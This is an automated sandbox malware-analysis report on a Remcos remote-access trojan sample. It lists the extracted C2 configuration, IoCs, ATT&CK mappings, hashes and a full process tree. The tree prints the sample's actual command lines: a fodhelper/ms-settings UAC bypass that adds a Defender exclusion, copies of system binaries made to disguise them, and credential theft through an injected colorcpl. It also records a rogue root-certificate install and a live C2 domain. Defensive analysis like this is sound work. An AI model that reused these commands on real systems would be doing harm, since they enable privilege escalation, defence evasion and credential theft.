remcos | 40fb108fd523824bd86505c7c6364814b52d853a446c9fe6a512b3326d65711a

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
16/07/2024, 19:15

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General

Target
INV-012056.exe
Size 1.6MB
Sample240716-xx766ayfpg
SHA256 9be23cec2c892e93c64b478ec1fc7b078ddf5217c99b6d03069a425eb14d62ee
MD5 6be62865a427c6cad88c532da92f8271
SHA1 faeddcb3ddd585c312d01dd5cc4107e6f09093b1
SHA512 bc3216a12f5ff19137c9d6530c2d6d8eb5bc031854263cd0ecec447b3d1b70f556c92bf35d1e652b25e5e9d796b49ed8b20d6b3be52d4ff6e5dd7f00ac67c95e
SSDEEP 24576:tHb5Bli50xv2T4EM9X0cjRjFmhco/ZyFvaZjeCi8DI/fdKFZA1vvvvvvvvvvvvvQ:Fb5W+uWRhKV4FceCxyKFZ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:52121
officerem.duckdns.org:52121

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-UNX1LL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4236-107-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/5012-100-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2220-101-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2220-101-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/5012-100-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	qvzwuszV.pif
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 20 IoCs

pid	Process
1144	qvzwuszV.pif
2968	alpha.exe
876	alpha.exe
1916	alpha.exe
2176	alpha.exe
5112	alpha.exe
4720	alpha.exe
3100	xkn.exe
944	alpha.exe
1556	ger.exe
2516	per.exe
4344	alpha.exe
4316	alpha.exe
1528	alpha.exe
4556	alpha.exe
3948	alpha.exe
2172	alpha.exe
4588	alpha.exe
2156	alpha.exe
3924	alpha.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Vzsuwzvq = "C:\\Users\\Public\\Vzsuwzvq.url"	INV-012056.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1332 set thread context of 1144	1332	INV-012056.exe	86
PID 3268 set thread context of 5012	3268	colorcpl.exe	125
PID 3268 set thread context of 2220	3268	colorcpl.exe	126
PID 3268 set thread context of 4236	3268	colorcpl.exe	127

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2060	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1996	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3100	xkn.exe
3100	xkn.exe
1332	INV-012056.exe
1332	INV-012056.exe
5012	colorcpl.exe
5012	colorcpl.exe
4236	colorcpl.exe
4236	colorcpl.exe
5012	colorcpl.exe
5012	colorcpl.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3268	colorcpl.exe
3268	colorcpl.exe
3268	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	xkn.exe
Token: SeDebugPrivilege	2060	taskkill.exe
Token: SeDebugPrivilege	4236	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 1144	1332	INV-012056.exe	86
PID 1332 wrote to memory of 1144	1332	INV-012056.exe	86
PID 1332 wrote to memory of 1144	1332	INV-012056.exe	86
PID 1332 wrote to memory of 1144	1332	INV-012056.exe	86
PID 1332 wrote to memory of 1144	1332	INV-012056.exe	86
PID 1144 wrote to memory of 1940	1144	qvzwuszV.pif	87
PID 1144 wrote to memory of 1940	1144	qvzwuszV.pif	87
PID 1940 wrote to memory of 1572	1940	cmd.exe	90
PID 1940 wrote to memory of 1572	1940	cmd.exe	90
PID 1940 wrote to memory of 2968	1940	cmd.exe	91
PID 1940 wrote to memory of 2968	1940	cmd.exe	91
PID 1940 wrote to memory of 876	1940	cmd.exe	92
PID 1940 wrote to memory of 876	1940	cmd.exe	92
PID 1940 wrote to memory of 1916	1940	cmd.exe	93
PID 1940 wrote to memory of 1916	1940	cmd.exe	93
PID 1916 wrote to memory of 5012	1916	alpha.exe	94
PID 1916 wrote to memory of 5012	1916	alpha.exe	94
PID 1940 wrote to memory of 2176	1940	cmd.exe	95
PID 1940 wrote to memory of 2176	1940	cmd.exe	95
PID 2176 wrote to memory of 3960	2176	alpha.exe	96
PID 2176 wrote to memory of 3960	2176	alpha.exe	96
PID 1940 wrote to memory of 5112	1940	cmd.exe	97
PID 1940 wrote to memory of 5112	1940	cmd.exe	97
PID 5112 wrote to memory of 448	5112	alpha.exe	98
PID 5112 wrote to memory of 448	5112	alpha.exe	98
PID 1940 wrote to memory of 4720	1940	cmd.exe	99
PID 1940 wrote to memory of 4720	1940	cmd.exe	99
PID 4720 wrote to memory of 3100	4720	alpha.exe	100
PID 4720 wrote to memory of 3100	4720	alpha.exe	100
PID 3100 wrote to memory of 944	3100	xkn.exe	101
PID 3100 wrote to memory of 944	3100	xkn.exe	101
PID 944 wrote to memory of 1556	944	alpha.exe	102
PID 944 wrote to memory of 1556	944	alpha.exe	102
PID 1940 wrote to memory of 2516	1940	cmd.exe	103
PID 1940 wrote to memory of 2516	1940	cmd.exe	103
PID 1940 wrote to memory of 4344	1940	cmd.exe	109
PID 1940 wrote to memory of 4344	1940	cmd.exe	109
PID 4344 wrote to memory of 2060	4344	alpha.exe	110
PID 4344 wrote to memory of 2060	4344	alpha.exe	110
PID 1940 wrote to memory of 4316	1940	cmd.exe	113
PID 1940 wrote to memory of 4316	1940	cmd.exe	113
PID 4316 wrote to memory of 1996	4316	alpha.exe	114
PID 4316 wrote to memory of 1996	4316	alpha.exe	114
PID 1940 wrote to memory of 1528	1940	cmd.exe	115
PID 1940 wrote to memory of 1528	1940	cmd.exe	115
PID 1940 wrote to memory of 4556	1940	cmd.exe	116
PID 1940 wrote to memory of 4556	1940	cmd.exe	116
PID 1940 wrote to memory of 3948	1940	cmd.exe	117
PID 1940 wrote to memory of 3948	1940	cmd.exe	117
PID 1940 wrote to memory of 2172	1940	cmd.exe	118
PID 1940 wrote to memory of 2172	1940	cmd.exe	118
PID 1940 wrote to memory of 4588	1940	cmd.exe	119
PID 1940 wrote to memory of 4588	1940	cmd.exe	119
PID 1940 wrote to memory of 2156	1940	cmd.exe	120
PID 1940 wrote to memory of 2156	1940	cmd.exe	120
PID 1940 wrote to memory of 3924	1940	cmd.exe	121
PID 1940 wrote to memory of 3924	1940	cmd.exe	121
PID 1332 wrote to memory of 5076	1332	INV-012056.exe	122
PID 1332 wrote to memory of 5076	1332	INV-012056.exe	122
PID 1332 wrote to memory of 5076	1332	INV-012056.exe	122
PID 1332 wrote to memory of 3268	1332	INV-012056.exe	123
PID 1332 wrote to memory of 3268	1332	INV-012056.exe	123
PID 1332 wrote to memory of 3268	1332	INV-012056.exe	123
PID 1332 wrote to memory of 3268	1332	INV-012056.exe	123

C:\Users\Admin\AppData\Local\Temp\INV-012056.exe
"C:\Users\Admin\AppData\Local\Temp\INV-012056.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Users\Public\Libraries\qvzwuszV.pif
  C:\Users\Public\Libraries\qvzwuszV.pif
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B43C.tmp\B43D.tmp\B43E.bat C:\Users\Public\Libraries\qvzwuszV.pif"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      4⤵
      PID:1572
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
      4⤵
      Executes dropped EXE
      PID:2968
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:876
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1916
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        
        PID:5012
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2176
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        
        PID:3960
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5112
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        
        PID:448
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4720
    - - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3100
      - C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:944
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:1556
  - - C:\Windows \System32\per.exe
      "C:\\Windows \\System32\\per.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2516
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4344
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2060
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4316
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        Runs ping.exe
        
        PID:1996
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
      4⤵
      Executes dropped EXE
      PID:1528
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:4556
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
      4⤵
      Executes dropped EXE
      PID:3948
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:2172
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:4588
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:2156
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:3924
- C:\Windows\SysWOW64\extrac32.exe
  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\INV-012056.exe C:\\Users\\Public\\Libraries\\Vzsuwzvq.PIF
  2⤵
  PID:5076
- C:\Windows\SysWOW64\colorcpl.exe
  C:\Windows\System32\colorcpl.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:3268
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xdkgupfzqgiael"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5012
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\axxzvhqbeoamgricx"
    3⤵
    - Accesses Microsoft Outlook accounts
    PID:2220
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\kzcswaivswsrqxwgguhcl"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4236

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:3308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 146B
SHA256 b149e3b65dd8a0086c0b5d9805ddb192400e3a4806ec13a327a6b44a2c55ab57
MD5 64c9de4eb883fb9eda2f7a43242e064c
SHA1 e209d3d2bdfdc9a4121c9038987f09ab6bab0d45
SHA512 5693d22bc4d2a90803de3c7b643f9dca070d42115e86d120c0058164499203b82661ad07d804e1f30f6e5960c668070c48bfd23fc13cca218fa657cc1f22eeae
MD5 SHA1 SHA512

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B43E.bat

Path C:\Users\Admin\AppData\Local\Temp\B43C.tmp\B43D.tmp\B43E.bat
Size 1KB
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6
MD5 SHA1 SHA512

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__PSScriptPolicyTest_3nxcfp13.ysy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3nxcfp13.ysy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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xdkgupfzqgiael

Path C:\Users\Admin\AppData\Local\Temp\xdkgupfzqgiael
Size 4KB
SHA256 fcb197376fc607f9493ea0460ecac86ca5ae8973120894c6f8353b67e28995d9
MD5 883af97f5f6dddc6f8cb495b841ec9ae
SHA1 225c3118ce7f9c747b891548fc637f41975bc8d0
SHA512 8ae27cb74d4d3641a3ac7dca2bbf9f8d4b89a012fb723ced33db319d24bde80e90293c0f10d2713fd024ce800f57bafd3e6d1feb4cde973eea56f4c581052b23
SSDEEP 48:wvvv0QoxfvvcQoxfdvv0QoxBvv0Qoxakvv0Qo7:mv6xvyp1v6Pv6bv67
MD5 SHA1 SHA512 SSDEEP

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qvzwuszV.pif

Path C:\Users\Public\Libraries\qvzwuszV.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
